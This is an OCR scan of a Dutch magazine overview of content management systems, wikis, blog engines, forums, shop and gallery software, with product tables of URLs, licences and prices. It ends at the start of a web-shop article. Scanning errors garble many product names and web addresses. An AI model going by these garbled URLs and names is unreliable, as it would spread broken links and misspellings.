Het zijn niet alleen de contentmanagement- 
systemen of de genoemde online editors die 
het web veranderen in een typemachlne - 
precies dat is het doel van de zogenaamde 
wiki's. Maar niet elk wikisysteem hoeft zo 
open te zijn als Wikipedia, waarbij iedereen 
zonder te registreren praktisch anoniem tek- 
sten mag aan ma ken of veranderen. Een wi ki 
is het best geschikt voor situaties waarbij alle 
deelnemers samen en zonder hierarchie of 
complexe workflow aan een project werken. 
Wiki s worden vaak gebruikt in een intranet 
of voor documentatie, maar zijn ook geschikt 
voor eenpersoons websites. 


Het aanbod aan wikisoftware is groat; er be- 
staat dan ook wiklsoftware in alle denkbare 
programmeertalen. Sommige wiki s hebben 
een database nodig, andere schrijven direct 
naar het bestandssysteem. Het voordee! 
van een wiki ten opzichte van een CMS is de 
structured eenvoud, wat je ook merkt aan 
de installatie en de bediening {zie p.38)* 

Blogsystemen 

Terwijl wiki’s vooral zijn bedoeld voor het 
thematisch groeperen van content, zijn web¬ 
logs (blogs) meer gemaakt voor artikelen die 
een chronologisch verband hebben. Voor 
sites van bedrfjven of evenementen Jijkt dat 
misschien niet direct nuttig, maar steeds 
vaker wordt een weblogsysteem gebruikt 
voor juist zulke websites. Met een beetje 
tweaken merkt de bezoeker niet eens dat 
een site is opgezet met blogsoftware. 

De belangrijkste stap hlerbij is het aan- 
passen van de startpagina. NormaaE gespro- 
ken staat daar een lijst van de meest recente 
bijdragen. De populairste weblog-engines 
bieden je echter de mogelijkheid om hier 
een statische pagina neer te zetten - met 
het oog op de lay-out-templates en naviga- 
tiemenu’s is dat een betere oplossing dan 
de startpagina volledlg uit het systeem te 
halen. Het thematische groeperen wordt ge- 
regeld door de categorieen die je aan elke 
bijdrage kunt toekennen, 

De voordeien van een blog-engine ten 
opzichte van een volgroeid CMS zijn de 
eenvoudige configuratie, de intuTtieve be- 
diemngsmogelijkheden en de typische 
overzichtelijke lay-out, Standaard commen- 
taar- en trackback-functies en de newsfeed- 
weergave zorgen voor de lezerbinding en de 
verspreiding van de berichten. Bijkomend 
voordeel is dat Google sites met een web- 
iogstructuur me teen goed indexeert. Het 
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Blog-systemen 

Word press 

www.wordpress.org 

PH P/MySQL, GPL plug-ins, themes, WYSiWYG-editar, import uit andere blog- 
systemen en newsfeeds, fiexibel rechtenfretieer, erg populair 

Movable Type 

www.movabletype.org 

Peri (PUP optioneel), diverse databases, gratis voor prive-gebmik, plug-ins, widgets, 
WYSIWYG-editor 

Serendipity 

www.s9y.org 

PHP, diverse databases, BSD, plug-ins, scripts, skins, commentaar-threads 

Blog Desk 

www.blogrfHh.arg 

Windows-editor voor blogsystemen 

wJbfoggar 

www.wbloggar.com 

Windows'editor voor blogsystemen 

Forums 

ptipBB 

www.phpbb.com 

PHP, SOL-rfatabse, GPL, poputelr bulletin hoard met templates, uitbreidingen, com¬ 
plex rechtenbeheer, privrf-berichten 

Phorum 

www.phorum.org 

PHP, MySQL, BSD, boomstructuur met uitbreidingen 

Zoehmachrnes 

Perlfect Search 

http://perlfea.com/freescri pts/sea rdi 

Perl, GPL, doorzoekt pdf- en Word-dccumenten 

(Search 

www .isearchtltenet .com/isea rdi 

PHP, MySQL, gratis basisversie, gebruikt ook tit el- en meta-infannatie; de Pra-versie 
kost € 35 en indexeert ook pdf- en Word-dotumenten 

Newrfeed-aggrcgaten 

zFeeder 

http://jvannewsiourceforge.net 

PHP, GPL, geen Atom, optionele WAP/XML-uitvoer, OPML-bestand voor exporteren 

MagpreftSS 

http://magpier5s.soa rcefange.net 

PHP, GPL, gedecltelijk ondersteuning voor RSS2 en Atom 

Sfmpsyslemen 

osCommerte 

www.ascommerce.com 

PHP, MySQL, GPL 

Mageuto 

www. magentocommerce.tom 

PHP, MySQL4, open source, gehaseerd op Zend-framework 

Fotogaflerys 

Qdig 

http2/qdig.sourceforge. net 

PHP, zonder database, GPL, klein eenvoudig script 

4images 

www.4homepages.de 

PHP, MySQL, gratis voor prive-gebruik, back-ups, newsfeeds, commentaren 

Coppermine 

http://tQppermirie.s0iJ rcefo rge. net 

PHP, MySQL, GLP, veei fondles en uitbreidingeu, ultbouw tot mini-CMS mogelijk 
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Met WebSite X5 
maak je offline 
snel een paar 
pagina's die 
je vervolgens 
kunt uploaden. 
Bij de softlink 
staat een 
speciale versie. 


aanbod aan blog-engines is anders dan bij 
CMS'en en wiki's wel overzichtelijk: de meest 
gebruikte software (en dan met name Word- 
Press) wordt op duizenden websites ingezet. 

Ook veel hosters bieden weblogoplos- 
singen aan, maar die zijn niet zo flexibel te 
configureren als een zelf gei'nstalleerd blog- 
systeem. Zo'n systeem kan vaak makkelijk 
onderhouden worden met offline software 
die gebruikmaakt van de gestandaardlseerde 
interfaces. Vaak kun je ze zeffs updaten per 
e-mail of mobiele telefoon. Blogsystemen 
blijken door deze interfaces ook makkelijk te 
kunnen worden onderhouden. Dat is handig 
als je overstapt op een andere blog-engine 
en een groot voordeel ten opzichte van 
contentmanagementsystemen, die meestal 
niet zo vriendelijk zijn wat importeren en 
exporteren betreft Een overgang naar een 
volwaardige content manager gaat vloeiend, 
veel CMS'en bieden allang een bloguitbrei- 
ding. 

Specialisten 

De meeste tot dusver beschreven oplossin- 
gen richten zich op de gebruikelijke web pa¬ 
gina's met een mix van vormgegeven tekst 
en afbeeldingen. Contentmanagementsys¬ 
temen hebben in principe echter meer in 
bun mars, zeker met de extra modules, zoals 
zoekmaebine, forum, newsfeed-aggregator 
en fotoalbum. Als bet er alleen maarom gaat 
om je website met een van deze functies op 
te vrolijken, kun je wellicht beter een gespe- 
daliseerde appiicatie nemen die dat doet 
phpBB is veruit het bekendste forum. Ei- 


genlijk is het een bulletin board dat de bij- 
dragen niet op thread, maar chronologisch 
sorteert - net zoals de comments re n in een 
blog. Een forum in de nauwere betekenis van 
het woord ondersteunt een boomstructuur 
en opent elke bijdrage in een eigen pagina. 

Als je op je website niet de zoekfunctie 
van een CMS of van bijvoorbeeld Google 
(Googles Custom Search Engines, www, 
google.com/coop/cse) wilt gebruiken, heb je 
de keuze uit een groot aantal scripts die je 
op i nternet kunt vinden [3,4]. Maar je kunt er 
ook zelf een maken [5]. 

Magpie en ZFeederzijn de meest gebruik¬ 
te scripts om een newsfeed in je eigen web¬ 
site te integreren. Het moge duidelijkzijn dat 
wel vermeld moet worden wat de bronnen 
van de content zijn, anders schend je het au- 
teursrecht. 

Als de website vooral bedoeld is voor 
de aan- of verkoop, zul je met een aparte 
shopapplicatle sneller resuitaten bereiken 
dan met een uitbreiding van een CMS. Hier 
concurreren krachtige kant-en-klaar aan- 
biedingen van hosters (zie p.28) met open- 
sou rceprojecten en lokaal gei'nstalleerd e 
shopgenerators. 

Beeld en geluid 

Digital Asset Management, oftewel het be- 
heer van multimediale inhoud, is een van 
de kerntaken van een enterprise CMS. Maar 
ook serieuze hobbyfotografen of mensen 
die de ftlmpjes en foto s van hun mobieltje 
willen laten zien, zoeken een platform om 
foto's, films of audiobestanden online aan 


Contentmanagementsystemen IV 


De*ktop-CM5 


Adoi>e Contribute 
Incomedia Website X5 
Neosense CMS 2009 
Effective Site Studio 
GlyDesk Starter Editltm 
ftoxen CMS Personal 

feta Producer 
Cushy CMS 


www.adobe.eom/n l/products/contribute 
www, websftex5.com 
www.digibiifties.com 
www.effeaivestud fos.com 
www.fogcreek.com/GtyDMk 
www.roxen . nl/producU/on^persanal- 
edition/ 

wwwzeta-prodijcer.com 

www.aishycms.ccim 


€ 237, WVSIWYG-webedrtor op basis van sjabioneo, eenvoudige workftows 
€ 42 standaardtonfcrm webdesign, Evoiutkm-versie met PHP-shop € 71 
totaalpakket, € 1200 

€ 113 standard conform webdesign, Pra-versle € 369 
flewbel, tot 50 artikelen, gratis, vofledigever^e $ 299 
gratis, maxlOpagina's 

gratis versie tot 10 pagina's, Desktop-vente $129 
gratis, meerdere gehruikers, gehast systeem €28 per maand 


te bieden en automatisch te converteren 
naar groottes en afmetingen die geschikt 
zijn voor het web, Als dat platform een soort 
grote schoenendoos wordt waar alles inge- 
kiept wordt, dan kun je de bestanden alleen 
nog met veel moeite terugvinden, Makkelijk 
te gebruiken index- of categoriefuncttes zijn 
dus geen overbodige luxe. 

Als je weinig tijd of geld hebt, ondervind 
je al snel problemen bij het streamen van 
films, Je eigen Youtube start je het snelst met 
de opensource server Red5 (wwwosflash. 
org/redS). 

Multimedia-archiveringsprogramma's op 
een lokale computer zoals Cumulus en Port¬ 
folio produceren HTMl-albums, dleje naarje 
eigen site kunt uploaden. Maar om met deze 
producten werkelljk netwerkgebaseerd te 
kunnen werken, moet je een paar duizend 
euro neertellen voor speciale mediaservers. 
Gratis online galeries zoals Flick.com veran- 
deren je fotoverzameling met automatisch 
gegenereerde thumbnails in chique, catego¬ 
rise erba re albums. Ook andere geregistreer- 
de gebrutkers kunnen door discussiebijdra- 
gen of eigen materiaaJ hun steentje aan de 
site bijdragen. 

Thuis-CMS 

Niemand zegt dat je online content ook 
per se online moet beheren. Offline con¬ 
tentmanagementsystemen die als gewone 
Windows-software werken, hebben zeker 
hun voordelen [7]. Ook met een slome ser¬ 
ver en een trage internetverbinding kun je er 
prima mee werken. Daamaast stellen de ge¬ 
genereerde pagina's geen hoge eisen aan de 
performance. Het merendeel van deze pro- 
gramma's is eenvoudig te bedienen en heb 
je snelonderde knie* 

Een voorbeeld van zo r n programme is 
Incomedia's Website X5, waarvan een speci¬ 
ale versie bij de softlink te vinden is. 

Sommige van deze websitegenerato- 
ren ondersteunen serverside scripting voor 
bijvoorbeeld een contactfomnulier of een 
webshop. Bij een wat complexes workflow 
loop je al snel tegen de beperkingen van 
deze lokale programmes aan. Sommige pro- 
gramma's ondersteunen wel de elementaire 
samenwerkingsfuncties ('collaboration'), dus 
dat is tenminste lets. Let bij het selecteren van 
zo'n programma wel op de aanwezige lay- 
outsjablonen. Die kun je meestal niet mak¬ 
kelijk aanpassen, maar moet je er dan apart 
bijkopen. De overgang naar een webeditor 
verloopt vloeiend, maar voor een offline CMS 
en een websitegenerator is kenmerkend dat 
ze op basis van templates werken. 

Adobe Contribute is een geval apart. 
Daarmee wordt Dreamweaver uitgebreid tot 
een CMS. Voor projecten met veel medewer- 
kers is erzelfs een eigen rights management 
server die het reditenbeheer voor zijn reke- 
ning neemt. De kant-en-klare oplossingen 
van de grote webhosters mikken op dezelfde 
doelgroep als lokaal ge'mstalleerde website- 
generatoren.Technlsch gezien gaat het hier- 
bij om een web-CMS, maar die oplossingen 
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kunnen daar wat creatieve vrijheid en mutti- 
userfunctionaliteit betreft niet aan tippen, 

Web-CMS 

Het aantal servergebaseerde contentma- 
nagementsystemen is enorm - zowel brnnen 
het opensource segment als bij de commer- 
de!e varianten. De commerciele versies zijn 
vooral bedoeld voor grote bedrijven en in- 
stelf ingen. Een blik op de featurelijst helpt je 
zelden herder. Met bijna alle systemen is zo'n 
beetje a lies wel op de een of andere manier 
voor elkaar te krijgen. 

De technische voorwaarden zijn si m pel. 
Voor zo'n beetje elke programmeertaaf van 
C en TCL tot Python, die op zinvofle wijze 
op een Webserver gebruikt kunnen worden, 
bestaan wel contentmanagementsystemen. 
Het is dus handig als je enige basiskennis 
van die taal hebt r zodat je de CMS-code in 
geval van nood kunt aanpassen, 

Als je geen eigen server exploiteert, ben 
je qua systeemeisen sowieso beperkt, maar 
veruit de meeste opensource CMS'en zijn 
afgestemd op de LAMP-omgevrngen van de 
hosiers. Java speelt pas een rol bij grotere 
systemen. Pert Python en ASP.NET zijn out¬ 
siders. Sommige PHP-CMS'en werken nog 
met PHP4, maar de meeste hebben inmid- 
dels een overstap gemaakt naar PHP5 - een 
kwaiiteitskenmerk van de broncode. 

CM S en die een database gebruiken, heb- 
ben meestai genoeg aan de acht jaar oude 
MySQL-versie 3.23. Destijds introduceerde 
MySQL daarmee de databasetypen MylSAM 
en InnoDB, full-text search en databasere- 
plicatie voor computerclusters. Als je bij- 
voorbeeld PostgreSQL of zelfs Oracle als da¬ 
tabase-engine wilt gebruiken, heb je in het 
opensource segment slechts een beperkte 
keuze. Het merendeel van de CMS'en legt 
zich niet vast op een bepaalde Webserver, 
maar met Apache zit je vrEjwet altijd goed. 

loch kan niet eik PHP/MySQL-systeem over- 
weg metde shared-hosting-aanbiedingen van 
providers omdat die vaak te weinig werkge- 
heugen voor PHP-applicaties hebben, Grotere 
systemen werken daardoor helemaal niet of 
extreem langzaam. Bovendien kan bijna geen 
enke! CMS overweg met de Safe Mode waar- 
mee veei hosters de rechten van de PHP-scripts 
beperken. Sommige hosiers bieden voorge- 
configureerde installaties van veeigebruikte 
CMS'en aan voor een snelle installatie - die 
kunnen echter behoorlijk wat kosten. Boven¬ 
dien zit je dan vast aan dat systeem. 

Afhankelijk van de eigen behoefte moet 
de verhouding tussen een eenvoudige be- 
diening en flexiblliteit in evenwicht zijn. Met 
name degenen die de content ieveren, zullen 
met het systeem moeten kunnen werken. Een 
modulaire opbouw maakt het mogelijk om 
complexe functies desgewenst toe te voe- 
gen zonder het CMS te zwaar te belasten of 
de performance af te remmen, Maar modules 
zijn vaak een stuk minder goed geprogram- 
meerd en vooral minder goed gedocumen- 
teerd dan het CMS zelf. Voor de wat popu- 
lairdere platforms bestaat er inmiddels een 



Website Baker 
biedt een 
gemakkelljk in 
elkaar te zetten 
kant-en-klare mix 
rn een fraai jasje. 


onoverzichtelijk aantal modules. En ookal kun 
je van alles toevoegen aan het basissysteem, 
het is toch verstandiger om van tevoren goed 
te kijken welk CMS het best aan je (toekom- 
stige) behoeftesgaat voldoen. 

Goede documentatie isdaarbtj een belang- 
rijk selectiecriterium, vooral bij het configure- 
ren en bij de interfaces voor templates en mo¬ 
dules. Bij opensource applicaties wil het daar 
nog wel eens aan schorten. Achter een aantaf 
opensource projecten zitten bedrijven die 
desgewenst professionele support of meteen 
een complete Application-Service-Provider- 
oplossing kunnen aanbieden. Als er actieve 
communities zijn, kunnen andere gebruikers 
je ook verder helpen. 

Eenvoudige PHP-CMS'en 

Hobby webmasters, die geen zin hebben om 
hun website handmatig te onderhouden, 
zullen weinig op hebben met de meeste 
bekende CMS'en. Vaak is een blog-engine of 
een websitegenerator inderdaad een betere 
keuze, maar een klein aantal CMS'en is wel 
expiiciet bedoeld voor minder grote web¬ 
sites. 


Het Deense CMSimpie is indusief sjablonen en 
WYSIWYG-editor bijvoorbeeid nog geen 75 kB 
groot. Dit mini-CMS schrijft a I zijn content in een 
enkel bestand, Gedifferentieerde gebruikers- 
rechten en grote websites kun je er niet mee 
maken. Wel kunjede website in meerdere talen 
beschikbaar steilen en plug-ins toevoegen. 

Textpattern heeft een MySQL-database 
nodig, maar is verder een lichtgewicht-CMS 
dat niet geschikt is voor complexe workflows 
en ook geen meertalige sites of versiebeheer 
ondersteunt Daar staat tegenover dat dit mini- 
CMS overzichtelijk en elegant is. Het gebruikt 
standaard de van wiki's bekende taal Textile, 
maar je kunt ook Tiny MCE gebruiken. 

Middenklasse 

Het gros van de PHP-systemen hcht zich op 
het middensegment van de markt, want 
daarin zitten de kapitaalkrachtige bedrijven 
en de wat grotere verenigingen. Marktlei- 
der is hier overduideiijk Joomla. Toch is deze 
naam nog relatief nieuw in de CMS-wereld. In 
September 2005 splitste het merendeel van 
de ontwikkelaars van Mam bo [8] zich af van 
het project vanwege een ruzie met Miro, het 
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Klein e PH P'contentma iragenten tsystemen 

CMSimpie 

www.cmsimple.nl 

geen database, GPL of commertied, redamevrij' vanaf & 60 

Pluck 

www.pluck-cms.org 

PH PS, geen database, GPL 

Textpattern 

http://textpattern.conn 

GPL, zoekmacbinevriendelijke url's, plug-ins 

M iddelgrote PH P-conte n tmana g ementsystem en 

bomb 

wwwjDomla.com 

MySQL, GPL, erg popular 

Mambo 

www.mambo‘foLiiidation.org 

MySQL, GPL, commerciele ondersteuning 

Dnjpa.1 

www,dnjpai.org 

MySQL/PostgreSQL, GPL, popubir 

Contenido 

www.coritenido.com 

MySQL, GPL, commerciele ondersteuning 

Website Baker 

www.websitebaker.org 

MySQL, GPL 

Typolight 

www.typolight.org 

PHP5, MyStM GPL 

CMS Made Simple 

www .cmsmadesimple. or q 

MySQL/PostgreSQL, templates met Smarty, GPL of commercieel 

phpwcms 

www.phpwcms.de 

MySQL, GPL, verschillende contentmodules, pdf-generator 

ExpressionErtgine 

www .expressionengine.com 

MySQL, comfortabel, krachtige template-engine, commercieel gebruik ca Q 200 

XOOPS 

www.xoops.org 

MySQL, GPL, afspli tsing van PHP-Nuke 

PH P'CM S met fra mew ork ke n inerke n 

ModX 

www.mQdxcm5.com 

MySQL4, met workflows en widgets, GPL 

Concretes 

www.conctete5.org 

PHP5, My5QL4, Python (optionee!}, MET-tkentle 

Xaraya 

www.xaraya.com 

MySQL/PcstgreSQUSQLfte, GPL, meer een flexibel framework dan een kant-en-klare oplos¬ 
sing, afsplitsingvan PHP-Nuke 
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De back-end van Typo3 vergt enige sfudie van de webmaster, maar is we! geschikt voor 
het beheer van veeleisende projected. 


bedrijf achter Mam bo - een voorbeetd van 
een mislukte romance tussen opensource 
en commercie. Na de afspJitsing bleek dat 
het grootste deel van de Mambo-commu- 
nity de Joomla-ontwikkelaars volgde. Maar 
ook het oorspronkelijke project bestaat nog 
steeds. 

Tot de sterke punten van Joomla Horen 
tijdsgestuurd publiceren, asset manage¬ 
ment, een systeemanalyse voor de in stal¬ 
lage en het reusachtige aantal modules. De 
zwakke punten zijn het rechten beheer dat 
slechts beperkte mogelijkbeden heeft en de 
gebrekkfge im- en exportmogelijkheden - 
helaas typisch voor opensource CMS'en. De 
huidige versie 1,5 verbetert Joomla's moge- 
Itjkheden op het gebied van barrierevrijheid 
en data-import. Op dit moment wachten we 
op versie 1.6, waarbij ook groepen en ver- 


schillende toegangsniveaus kunnen worden 
aangebracht. In het artikel op p.42 vind je in- 
formatie overde installatie van Joomla. 

Als je website een ontmoetingsplek voor 
een online community moet worden, moet 
het CMS aan bijzondere eisen voldoen. Een 
gedifferentieerd en tegelijkertijd robuust 
rechten beheer in de front-end, modules 
voor forums, polls, nieuwsbrieven, kalender, 
commentaren, contactformulieren en RSS- 
aggregators zijn dan absolute voorwaarden. 
Met een niet-gespecialiseerd CMS als Joomla 
zou dat allemaal wel kunnen, maar content- 
managementsystemen als Drupal werden 
speciaal voor dit soort portalfunctionaliteit 
ontworpen. Drupal is een van de meest ge- 
bruikte CMS'en. Daardoor is er op internet 
genoeg over te vinden om je op weg te hel- 
pen. Het evenwicht tussen flexibiliteit en be- 
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Grote PH P CQntentnttfiageiri entsystemen 


eZ Publish 
eZ Components 
Mfdlgard 

www.typHi3.rrl 

http://ez.no/ 

http://ez.no/eztompcnents 
www. midga rb-prcjerLorg 

MySQl/Drade/MHcroMftSQl/ODBC, GPL 

MySQL/PortgreSQL, Orade (betasId), GPL of commercieet 
programmabibliotheek, BSD 

CMS met objwtgeorienteerd framework, krachtig gehruikmbeheer, In PHP en C, 
LAMF-orngeving, LGPL 

Perl-CMS 



WebGUI 

www.plainblad.com/webgui 

ApeheMjwrl, MySQL GPL 

Python-CMS 

Plone 

http://plorte.org 

Zope 1 of 3, GPL 

Sifva 

www, i nfrae.mm/produrts/silva 

Zope2,BSD 

CPS Project 

www.cps-proiect.Qrig 

Zope 2 of 3 r opensource, biunenkort overstep op Java 

.NET-CMS 

DotNetNuke 

www.dotnetnuke.com 

v.a. .NET 2, BSD 

AxCMS.net 

www.axcms.net 

.NET 3, freeware (dosed source) 

Umbraco 

www.umbraco.dk 

.NET 2, GPL of tommerdeel, gebruikerwiendelijL XSLTals macrotaal 


diening is goed. Het systeem heeft een eigen 
installer en is zuiver geprogrammeerd. 

PHP-topklasse 

Als je op zoek bent naar een opensource 
CMS dat aan hogere eisen moet voldoen en 
er wat hutverig voor bent om Java of Zope te 
gebruiken, kun je feitelijk alleen nog kiezen 
tussen Typo3 en eZ Publish. Typo3 komt uit 
Denemarken en heeft een community die 
ongeveer net zo groot is als die van Joom¬ 
la, Op www.yeebase.com wordt zelfs een 
Typo3-tijdschrift aangeboden dat geheel 
met het CMS in elkaar is gezet. 

Het systeem is niet gemaakt om er even 
snel mee aan het werk te gaan. Het grote voor- 
deel is de grote flexibiliteit van het systeem, 
dat met Typoscript een eigen templatetaal 
heeft en pdfs en MS Office-bestanden kan 
genereren en weergeven, Er zijn veel plug-ins 
verkrijgbaar, waaronder forums, glossary's en 
complete shopsystemen. De mogelijkheden 
van de workflow zijn behoorlijk geavanceerd. 
Het cachingmechanlsme zorgt voor een snel- 
le weergave van de pagina’s. 

Een deel van de populariteit van het sys¬ 
teem komt door de Rich-Text-Editor die er a I 
een tijdje in zit. Ook de inmiddels in het sys¬ 
teem geintegreerde uitbreiding TemplaVoila 
draagt bij aan de populariteit. Met Templa¬ 
Voila kun je van een statische webpagina 
met een muisklikeen individueel aangepaste 
Typoscript-template maken. Bovendien kan 
de uitbreiding bijzonder efficient gebruikt 
worden met het flexibele CSS-framework 
YAML ('yet another multicolumn lay-out'). 

Terwijl Typo3 een puur opensource pro¬ 
ject is, zit de Noorse firma eZ Systems achter 
eZ (uitgesproken als 'easy') Publish. Commer- 
ctele licenties en support kunnen dus direct 
van de producent afgenomen worden. In het 
verleden ondermijnde eZ Systems het succes 
van hun eigen CMS door geld te vragen voor 
belangrijke uitbretdmgen ais een WYSIWYG- 
editor. Toch wordt dit CMS door zijn goede 
performance volop gebruikt. 

eZ Publish slaat zijn gegevens op in 
XML, waardoor het volledig formaat- en 
mediaonafhankelijk is. Daardoor wordt 
de weergave bijzonder flexibel. Dit CMS is 
aantrekkelijk door de overzichtelijke sys- 
teemarchitectuur en het verslebeheer, de 
roigebaseerde gebruikersrechten, een instal- 
latiescript en bruikbare standaardsites voor 
de configuratie. Maar zonder een eigen (vir- 
tuele) Webserver zul je daar weintg plezier 
aan beleven. 

Van eZ Systems wordt gezegd dat het heel 
nauw betrokken is bij de PHP-ontwikkelge- 
meenschap. De programmabibliotheek eZ 
Components geldtdan ook als een bijzonder 
toekomstgericht PHP-project. Het is de basis 
van de laatste versies van eZ Publish, maar 
kan ook gebruikt worden voor andere toe- 
passingen, Het besohikt over een template- 
engine, databaseabstractie, configuratie, ca¬ 
ching en een mogelykhetd om afbeeldingen 
te bewerken. eZ Components en de recente 
verstes van eZ Publish vereisen PHPS. 
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Perl 

Een actueel CMS op basis van Perl is nau- 
weiijks te vinden. PeH-aanhangers zijn blijk- 
baar meer geYnteresseerd in frameworks en 
templatesystemen als Catalyst en Mason. 
Ook WebGUI, het levendigste Perl-CMS, 
heeft elementen van een framework. Achter 
WebGUI zit een firma die onder andere geld 
verdient aan support en handboeken - de 
gratis download omvat slechts een rudi- 
mentaire documentatie. WebGUI zit met een 
WYSIWYG-edrtor, versiebeheer, workflows, 
caching, modules en LDAP-gebrulkersbe- 
heer op het niveau van Joomfa, 

Python 

Bij Python kun je als contentmanagement- 
systeem niet om de application server Zope 
heen, dat met een geheugen- en template- 
engine zelf al half een CMS is. De andere heift 
wordt meestal aangevuld door Plone, maar 
er zijn een paar interessante alternatieven. 

Een laagdrempelige instap hoef je overi- 
gens niet te verwacbten, want Zope hecht 
meer waarde aan een goede archftectuur en 
efficientie op de lange termijn dan dat het 
beginners gemakkelijk wordt gemaakt. De 
Zope-gebaseerde contentmangementsys- 
temen concurreren met Java-applicaties en 
commerciele enterprise CMS'en. Zo is Plone 
met zijn uifstekende workflowcapaciteiten 
en het krachtige gebruikersbeheer geschikt 
voor grote bedrijfs porta Is en community- 
siteSr Het Archetypes-framework zorgt voor 
flexiblliteit doordat je schema's voor wii- 
lekeurige contenttypen kunt definieren. 
Plone heeft van Zope de mogelijkheid ge- 
erfd om verschillende servers te clusteren, 
de toegang tot andere Zope-pakketten en 
de sjabloontalen TAL en METAL komen daar 
ook vandaan. 

Silva kan als Zope-product zonder proble- 
men geinstalleerd worden. De commerciele 
ontwikkelaars hechten naast goede work¬ 
flowcapaciteiten ook waarde aan gegevens- 
opslag in XML, waardoor onafhankelijkheid 
van formaten en outputmedia mogelijk is. 

.NET 

Het aanbod aan vrije contentmanagement- 
systemen voor Microsoft* ASP.NET is be- 
scheiden. All een DotNetNuke heeft een wat 
grotere schare gebruikers, Het in VB.NET ge- 
schreven 'Framework ideal for creating En¬ 
terprise Web Applications’ is geschikt voor 
gemiddetde tot grote websites en intranet- 


ten. Het is mogelijk om verschillende web¬ 
sites met een installatie te onderhouden. 
Natuurlijk profiteert het CMS van de mo- 
gel ijkheden van het grote .NET-framework, 
zoals sessiebeheer en identiteitsbeheer. 
Ook AxCMS.net, dat SharePoint-integratie 
en complexe workflows biedt, is een aanra- 
der voor grotere projected 

Java 

Java-applicaties domineren bij bedrijven, 
maar de opensource systemen kunnen ook 
zonder een groot IT-budget gebruikt wor¬ 
den - uitgaande van een bijpassende ser- 
veromgeving en wat Java-knowhow. Hoewel 
de meerderheid van de applicaties PHP ge¬ 
bruikt, komen de innovaties uit de Java-we- 
reld. Dat is onder andere te merken aan de 
Java Content Repository API (JSR 170), een 
standaard voor toegang tot content. Ook de 
ontwikkelaars van Typo3 en eZ Publish heb- 
ben intussen onderkend dat met JSR 170 het 
wisselen van CMS en de samenwerking met 
andere applicaties een stuk makkelijker is en 
zijn daarom begonnen met de implementa- 
tie ervan. 

Het eerste open CMS met JSR 170 was 
Magnolia Community Edition, de gratis af- 
splitsing van een commercieel enterprise 
CMS. Magnolia maakt gebruik van beproef- 
de, open technieken zoals Java Server Pages, 
XML en J2EE. Hetzelfde geldt voor OpenCms. 

Het Apache-project lenya trekt bijzon- 
dere aandacht. Het framework Apache 
Cocoon verwerkt XML en heeft mogelijk- 
heden tot intemationatisering, workflows 
en versiecontrole. Lenya heeft die laatste 
drie ook en kan documenten in gangbare 
web- en officeformaten weergeven. Tot de 
highlights behoren de ondersteuning van 
J5R17Q, gedetailleerde gebruikersrechten, 
Idap-authenticatie en tijdsgestuurd publi- 
ceren. Lenya biedt naar keuze een eigen 
Java-server of kan als Tomcat-applicatie ge- 
installeerd worden. Ook de documentatie is 
inmiddels wat leesbaarder geworden - toch 
vraagt een Lenya-installatie nogal wat van 
een webmaster. 

Enterprise CMS 

Enterprise contentmanagementsystemen 
(ECMS) zijn toepassingen die het hele docu- 
mentenbestand van een bedrijf beheren - of 
dat nou van de website, intranet, e-mail, pa¬ 
pier, tekst, foto of video is. Daarmee nemen 
ze de taken van de oudere documentma- 
nagementsystemen over. Opensource soft¬ 


ware is bij een ECMS en DMS nauwelijks te 
vinden. Alfresco is drie jaar geleden begon¬ 
nen a Is een DMS-too! die ook webcontent 
kan beheren. Een modulaire Java-arch itec- 
tuur houdt het grote aantal ondersteunde 
standaarden (JSR 170, LDAP, WebDAV, web- 
services, workflow-standaards) bijeen. 

Voor een uniforme ontsluiting van indi- 
viduele content en applicaties binnen een 
bedrijf kan een portal worden gebruikt. 
De overeenkomst met contentmanagers 
is groot, vooral voor intranet. Ook bier do¬ 
mineren de commerciele oplossingen, In- 
trexx Xtreme kent applicatietemplates die 
forums, wikLs en blogs in een handomdraai 
configureren, Een aantal CMS'en zoals Dot¬ 
NetNuke en Lenya bieden met single-sign- 
on de mogelijkheid om met een keer aan- 
meiden toegang te krijgen tot meerdere 
serverdiensten, wat de basisfunctionafiteit 
van een portal zou moeten zijn. 

Conclusie 

De verscheidenheid aan contentmanage¬ 
mentsystemen en aanverwante technieken 
blijft zelfs overweldigend als je de gigan- 
tlsche markt van commerciele enterprise- 
content ma nagementsystemen buiten 
beschouwing laat. Helaas zijn de (on)moge- 
lijkheden van een bepaald CMS niet direct 
duidelijk. Gelukkig kun je de meeste appli¬ 
caties als demo uitproberen, op de site van 
de producent, op www.opensourcecms. 
com of op www.cmssystemen.nl. 

Het is van doorslaggevend belang dat 
je van fevoren zo helder mogelijk krijgt 
wat het toepassingsgebied, de eisen en de 
noodzakelijke configuratie- en program- 
meerinspanningen zijn. Het veranderen van 
systeem zal zelden moeitetoos verlopen - 
het is dan ook aan te raden daar een paar 
dagen goed over na te denken en de diver¬ 
se systemen goed uit te proberen. (nkr) 

fj ioftlink 09WD020 
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Noud van Kruysbergen, Herbert Braun 

World Wide Winkelcentrum 




ARTEKELEN 


ZOEKEN 


D e online wereld maakt het aspirant- 
winkeliers wel erg gemakkelijk. Het 
was nog nooit zo eenvoudig om je 
eigen winkel te starten als tegenwoordig, 
zonder veel moeite of rtsico's, Aan de andere 
kant stellen kianten ook steeds hogere eisen; 
een snel bijeen geklikte website zal weinig 
kianten voor zich winnen. En kianten bestel- 
Iingen laten doorgeven via e-mail is ook met 
meer van deze tijd. 

Daarom hebben wij de mogelijkheden 
eens op een rijtje gezet. Deze varieren van 
gratis winkels vo! met banners en beperkte 
betalingsmogelijkheden tot zeer uitge- 
breide webwinkels met complete Customer 
Relationship Management-systemen (CRM) 
en een mogelijkheid om ordergegevens te 
koppelen aan je eigen back-office databa¬ 
ses, Waar we ons hier met name op richten, 
zijn webwinkels die geheel online opgezet 
en beheerd kunnen worden, dus zonder dat 
je daarvoor een apart softwarepakket op je 
computer hoeft te installeren. Het enige wat 
je nodlg hebt r is een browser. 

Omdat de pakketten meestaJ aangebo- 
den worden in combinatie met een domein- 
naam en een hosting pa kket, hoef je jezelf 
niet bezig te houden met het tonfigureren 
van servers, het opzetten van een database 
en andere technische aspecten. De webwin- 
kelapplicatie draait bij de hoster en via je 
browser beheer je alle aspecten van je win¬ 
kel, van de product informatie tot en met het 
voorraadbeheer en de verdere afhandeling. 


Online winkelsystemen getest 


Dat steeds meer mensen online winkelen en 
daarbij ook steeds meer geld uitgeven, is een 
trend die al een tijdje zichtbaar is. Maar het zijn 
echt niet all een Bol.com en Wehkamp.nl 
die hiervan profiteren. Ook steeds meer kleine 
handelaren leggen zich namelijk toe op web- 
commerce. Bij het opzetten van je eigen 
